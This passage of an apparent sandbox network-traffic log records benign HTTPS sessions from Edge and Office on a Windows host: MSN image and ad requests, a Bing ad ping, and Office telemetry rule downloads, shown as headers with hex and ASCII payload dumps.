_EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1
2024-11-28 01:27:55 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:55 GMT Connection: close
2024-11-28 01:27:55 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49923	104.117.182.59	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:52 UTC	656	OUT	GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:52 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 13 Nov 2024 12:47:07 GMT X-Source-Length: 261407 X-Datacenter: westus X-ActivityId: 1fe70cbc-36b6-452b-b89e-4f5a4fcec11f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 262144 Cache-Control: public, max-age=343172 Expires: Mon, 02 Dec 2024 00:47:24 GMT Date: Thu, 28 Nov 2024 01:27:52 GMT Connection: close
2024-11-28 01:27:52 UTC	15837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``8}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-11-28 01:27:52 UTC	16384	IN	Data Raw: a0 02 80 12 80 0a 00 5a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 0f 37 6b 80 58 a8 91 c3 9e 9e 9f 4a e5 d4 f4 2e 88 7e d2 d1 1c 95 24 67 6b 71 8a 62 b9 a5 6d 2e f9 37 15 ce Data Ascii: Z(((((((((((((((((((((((((((((((7kXJ.~$gkqbm.7
2024-11-28 01:27:52 UTC	1891	IN	Data Raw: 0a 83 81 9a ca 55 52 d1 1b 46 93 7a b2 b4 f7 0c c9 f2 b1 1d b0 3f c6 b2 75 1b 35 8d 24 88 1d 8f 01 97 0d fd ec f7 a8 b2 34 bb 23 79 38 2b 20 c1 5c f3 fe 34 95 83 52 3d e1 d4 6e 50 71 d1 b3 cd 31 21 ac 89 8f 99 b9 f4 22 a9 3b 09 ea 35 a5 c6 15 50 81 f9 d2 02 27 39 c6 59 7a fd dd d8 39 f5 14 80 85 b7 90 57 6f 4e a0 9e 6a 90 80 18 f6 e0 e4 b0 f4 3c fe 22 8b 01 1b 32 6f 25 48 21 b8 e7 23 14 d2 25 b1 bb 43 44 e3 78 ca f5 52 7a fd 2a 92 b0 6e 22 16 2a b8 04 11 d7 a7 1e e2 81 20 36 c4 3e 65 61 9c e7 38 c5 26 d0 6a 0d 6a 65 f3 72 a3 69 01 83 7b f6 a1 c9 15 ca ca f7 96 0a 59 65 59 17 18 fb ad e9 42 90 34 47 04 77 0b 2b 46 c1 80 cf 0c 4f e4 08 fe b4 d9 25 b8 a3 04 32 32 7c f9 f9 8a 9c 1f 6a 96 34 38 44 4b 8d c3 27 1c 82 39 3f 4a 57 d0 ab 6a 58 54 44 87 7c 6b 8d a7 Data Ascii: URFz?u5$4#y8+ \4R=nPq1!";5P'9Yz9WoNj<"2o%H!#%CDxRzn" 6>ea8&jjeri{YeYB4Gw+FO%22\|j48DK'9?JWjXTD\|k
2024-11-28 01:27:53 UTC	16384	IN	Data Raw: 1b 18 cf b8 cd 00 44 77 bf 20 9c 1e d9 a3 a8 0a b1 8d e1 9c b7 a1 cf 5a ad 89 7a 8a 0e de 00 f9 0f ad 03 2b dc 36 40 2a e0 85 e0 8c f2 3e b4 c9 20 69 5f 6f 03 a7 b6 28 ea 17 d0 af 29 c0 cb 31 a3 c8 3c c6 7d a1 98 0c e4 f6 eb 4d 22 5b 1e 80 b3 13 b5 37 74 e7 bf a5 34 80 5d a3 24 95 21 b1 e9 8e 3d 71 4c 56 17 cb 00 67 60 c8 ea 33 d8 d2 b8 ec 3b e7 8c 85 da 0a fa 93 ce 0f 41 ef 52 31 e8 cc 1d 90 81 c7 3e 9f 8d 22 96 a4 65 81 f9 70 77 74 1b 7a 50 22 37 39 03 2e 0a f7 18 ff 00 3c 51 b6 c1 7b ee 21 c2 9d 8a 83 fd ec 93 fa 55 22 4b 31 c6 77 00 40 3b 81 dd c7 06 80 42 c9 f2 8f 98 97 0c 3d 47 5f 63 50 5f 98 46 0b 0c 90 3e 5e aa 3b 8f 5a a1 31 f1 c7 bc 10 aa 41 1c 1e 39 c7 6e 3b 8a 4c 0b 69 6d b8 a2 b9 1d 3e 56 c6 0e 68 d8 76 b8 f4 5f 2c 98 d8 12 14 ff 00 08 1c 1f Data Ascii: Dw Zz+6@*> i_o()1<}M"[7t4]$!=qLVg`3;AR1>"epwtzP"79.<Q{!U"K1w@;B=G_cP_F>^;Z1A9n;Lim>Vhv_,
2024-11-28 01:27:53 UTC	16384	IN	Data Raw: 4b 99 85 90 35 b2 65 76 a8 19 eb cd 1c cc 7c a8 69 b7 8c e4 ed 1b be b4 f9 98 9c 50 9f 67 4d d9 28 0e 4d 1c cc 4a 28 6f d9 d5 b9 23 af bd 1c cc 7c 88 41 6a a3 b0 c7 d7 b5 3e 66 1c a8 16 dd 00 51 b4 6d 1d 06 7a 51 ce ee 2e 55 60 36 c8 00 25 01 cd 35 36 2e 54 34 db 2b 6e 2e b9 e3 81 9a 39 b6 0e 5d c6 ad a2 60 61 71 8f 7f 6a 39 83 90 68 b5 51 93 b7 e9 cd 27 26 1c a2 7d 98 6d 3f 29 f4 eb 4f 98 39 44 16 a8 aa 40 5e bc 75 a4 a6 1c a2 7d 9c 05 da aa 76 8e 40 cf 7f ad 57 30 b9 06 fd 9f 7b 96 39 1d 3b d1 cd a0 b9 75 14 41 92 58 83 ed cd 1c c1 ca 33 c8 cb 00 72 06 30 0d 3e 64 2e 56 12 c1 b9 f8 df b4 74 24 e4 fe 74 b9 86 e2 c8 cc 2f bf 80 7b 63 df eb 42 69 03 8b 63 de 26 95 fe 5c 8c 0a 2e 90 f9 5b 12 28 5d 08 2c c7 1f 5a 7c c8 5c ac 70 56 5f e2 3f e7 bd 2b a0 69 f7 Data Ascii: K5ev\|iPgM(MJ(o#\|Aj>fQmzQ.U`6%56.T4+n.9]`aqj9hQ'&}m?)O9D@^u}v@W0{9;uAX3r0>d.Vt$t/{cBic&\.[(],Z\|\pV_?+i
2024-11-28 01:27:53 UTC	7952	IN	Data Raw: 28 c9 3d 7e 94 00 9b a4 00 7c bc fa d3 b0 01 67 20 ee 51 9c 73 48 08 be 6c 82 48 07 e9 4c 03 90 0f 4c 13 f9 d1 60 17 08 42 e5 48 1d 71 40 07 97 09 5f 9b 20 f7 c1 a2 c0 1e 4d bf 0d b8 fd 08 e2 8b 00 79 30 6d fb c4 0e c3 34 58 07 f9 31 70 77 8e 87 1f fd 71 48 05 8e 18 7f bd cf d7 f9 50 02 fd 9d 31 cb 0f 6e 68 01 04 0b dd c6 7a 8e 7b 50 03 4d bf 19 57 e7 da 80 18 b1 b8 18 dc 07 3d 68 01 8f 1e c1 85 00 f3 c7 d3 de 81 e8 31 41 dd 80 08 cf 34 08 90 23 11 f7 87 bf 14 00 be 4f 1f 78 f1 d0 ff 00 3a 60 29 89 42 e0 9c 9f af eb 48 07 22 05 2d 90 31 d3 9a 00 b7 3e e6 8d 1b e5 1e 5b 94 05 47 3d 79 fc 3f fa f5 64 12 4d 1b c6 d1 3a b0 0c 77 02 73 f2 80 7a 0f f3 d2 8b dc 7b 15 84 12 2c 0f 10 7f 98 30 c9 ef e9 83 e8 3f c4 53 ba 16 a4 8f 1c 92 2a c8 79 ce 30 09 e7 71 e9 9f Data Ascii: (=~\|g QsHlHLL`BHq@_ My0m4X1pwqHP1nhz{PMW=h1A4#Ox:`)BH"-1>[G=y?dM:wsz{,0?S*y0q
2024-11-28 01:27:53 UTC	16384	IN	Data Raw: 4c f0 cc a5 64 43 86 1e f5 ee c6 4a 49 4a 2f 43 ca 94 5c 5b 8b 12 99 22 d0 02 83 cf 3f fe ba 40 73 d3 c7 f6 7b a9 22 ec a7 e5 fa 1e 95 c8 d5 9b 47 a9 09 73 c1 48 7a 35 5a 64 b4 4a 1a ad 32 07 66 99 21 40 09 49 a1 8e 86 59 ad a4 f3 2d a6 92 17 fe f2 31 04 d4 4a 09 ab 49 14 a4 d6 c6 cd af 8b 75 78 30 24 68 6e 40 ff 00 9e 89 83 f9 8a e7 96 12 9b db 43 55 59 f5 34 e2 f1 c8 c7 ef f4 d6 cf ac 72 8f ea 2b 17 83 7d 19 4a ac 5e e8 9c 78 e2 c7 1c d9 5d 0f fb e7 fc 6a 7e a7 3e e8 7e d6 3d 86 3f 8e 6d 87 fa bd 3e 76 ff 00 79 d4 53 fa 9c bb 87 b5 8f 63 3e e7 c6 d7 f2 02 2d ad 60 84 76 2c 4b 91 fc 85 69 1c 1c 56 ec 9f 6d d9 18 57 fa ad f5 f9 3f 6d bb 92 51 fd cc e1 7f 21 c5 6f 0a 70 a7 f0 a2 1c e4 f7 63 b4 1d 26 4d 73 53 16 e0 15 b5 8b 0d 3b 8e cb d9 47 b9 e9 f9 d6 55 Data Ascii: LdCJIJ/C\["?@s{"GsHz5ZdJ2f!@IY-1JIux0$hn@CUY4r+}J^x]j~>~=?m>vySc>-`v,KiVmW?mQ!opc&MsS;GU
2024-11-28 01:27:53 UTC	16384	IN	Data Raw: 48 3d dc f1 8f a5 17 7d 82 d1 ea c7 a9 9c 9c b9 cf fb c0 ff 00 4a 15 c4 f9 7a 0b 96 c6 3c e8 ff 00 5a 2e fb 85 97 61 19 97 f8 a7 55 6f 54 34 5d 77 1a 8b ec 0b 72 8a 38 63 21 f5 db 4b 99 0d c1 f5 42 7d b1 31 b7 ca 7e 7d b8 a1 c8 4a 9b ee 21 ba 40 38 40 7d 00 6f fe bd 17 f2 1f 27 98 9f 6a 3d 7e 50 be f2 9f e8 28 b8 72 21 c2 e5 98 7c a5 76 fa 96 fe 94 5c 7c 89 09 f6 93 8e 64 4c ff 00 bd 8a 2e 3f 67 e4 06 eb 8c 33 b3 fb 00 b4 ae 1e cf b2 1a 6e 54 72 16 60 3f 01 f9 d1 cc 1c 8c 6b 5f 88 d4 02 aa 33 fd f6 e4 fd 00 a1 bb 0d 53 bb 1a 6f e5 e9 90 ab e8 17 1f d6 a6 ec af 67 10 fb 74 a9 d8 ee 3d f0 33 4f 99 8b 91 30 6b c9 02 65 80 3f 5e 9f 95 37 71 24 9b b1 0f db 25 39 05 d0 0f f6 50 54 dd 97 ca 87 7d a2 40 b9 32 91 9e f8 02 8d 42 cb b0 9f 68 77 c0 f3 24 db ed c0 a3 Data Ascii: H=}Jz<Z.aUoT4]wr8c!KB}1~}J!@8@}o'j=~P(r!\|v\\|dL.?g3nTr`?k_3Sogt=3O0ke?^7q$%9PT}@2Bhw$
2024-11-28 01:27:53 UTC	7952	IN	Data Raw: 3b 48 68 18 63 d2 41 f9 d0 01 c8 fe 20 7f 11 40 06 4f aa 50 01 c9 fe 14 a0 00 a9 fe e8 fa 83 40 09 9c 1e a6 80 1c 18 f5 24 9a 00 6b 11 9f e2 14 00 a2 5c 77 34 58 04 dc 87 f8 3f 5a 00 32 9e 87 f3 a0 03 e4 f7 fc e8 00 da 47 45 24 7d 68 01 32 a3 ef 23 0f c6 80 0c a7 6d df a5 00 2e 3d 03 50 02 64 e3 a3 d0 02 86 3f ed fe 74 00 bb 8f a3 7e 5c 50 02 6f f5 02 80 0d c8 7f 87 9f ad 00 18 cf dd 72 3d 88 fe b4 00 6d 7f 55 3f 8d 00 26 d9 3f bb fa 50 02 65 87 50 7f 5a 00 5d ed fd ef d6 80 17 73 1f e2 a0 04 67 75 fb ca 7f 2a 00 37 e4 72 ab f9 50 01 98 cf 05 82 9f 6a 00 0a b2 f2 17 70 fa e6 80 b0 d0 e0 f5 c0 34 00 f0 40 1c 80 47 d6 80 10 aa 16 c9 23 f3 a0 03 03 3c 38 fc a8 01 78 fe f1 fc 05 00 26 54 f7 3f 95 00 2e e1 fd e3 f9 d0 02 64 77 63 f4 c5 00 1c 67 82 68 01 48 2d Data Ascii: ;HhcA @OP@$k\w4X?Z2GE$}h2#m.=Pd?t~\Por=mU?&?PePZ]sgu*7rPjp4@G#<8x&T?.dwcghH-
2024-11-28 01:27:53 UTC	16288	IN	Data Raw: 3d 77 67 a0 3f 85 3f 99 a2 d7 69 0f 1f ee fe 94 d4 5b ea 5a 8b 7d 47 79 91 8f bc 0f e7 57 66 6a ae 3c 34 47 a3 b0 fd 69 ea 02 ed fe ec 83 f1 04 50 31 08 95 7f 84 91 ea 1b 34 00 df 33 9c 33 90 7d c5 02 1e 0b 63 87 cf d0 f3 f9 50 02 79 83 3c b3 7e 34 58 04 22 33 ce e2 a7 e9 40 06 d6 1f 75 e3 6f c7 14 00 a3 cd 1d 14 fe 07 34 00 85 bf bc 9f f8 ed 00 01 93 fb bf ce 80 0f 97 fb a7 f3 a0 03 09 d9 88 3e e2 80 0c 1e ee 94 00 bb 0f 66 5f a6 68 01 bb 7b 1d bf 9d 00 38 64 7f 1f eb 40 0b 96 ec e3 f3 a0 04 f9 ff 00 ba 1b f0 06 80 1a db 7f 8a 32 3d c6 45 00 28 51 c9 8d 87 d0 f0 68 00 2f 22 0f 9b 38 fa 66 8b 20 00 e9 fd d0 7e 83 14 00 b9 8f b2 91 f4 34 00 a3 69 1c 3b fd 08 06 80 13 69 1f 73 0d 40 09 e6 95 3f 32 ba 9f a6 28 00 2d bb a8 0c 3d d6 80 b8 a0 a0 fb 98 5f c4 8a Data Ascii: =wg??i[Z}GyWfj<4GiP1433}cPy<~4X"3@uo4>f_h{8d@2=E(Qh/"8f ~4i;is@?2(-=_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49927	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:52 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=29A043C5F5F06E4035685680F4926F46; MR=0
2024-11-28 01:27:53 UTC	765	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=KbPp6CPb8syBVPqptpxFrkw7HQrMcxnip6PoYWHLaz4; domain=.bing.com; expires=Tue, 23-Dec-2025 01:27:52 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F60BB4AACA334917BB2A7C319DA514C5 Ref B: EWR311000108053 Ref C: 2024-11-28T01:27:52Z Date: Thu, 28 Nov 2024 01:27:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:52 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012753Z-174f7845968j6t2phC1EWRcfe80000000xy0000000006yn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012753Z-174f7845968vqt9xhC1EWRgten0000000xu0000000007f05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:53 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e5837872-c01e-00a1-6f26-417e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012753Z-174f7845968qj8jrhC1EWRh41s0000000xt00000000016sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012753Z-174f7845968swgbqhC1EWRmnb40000000xz0000000003dd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" 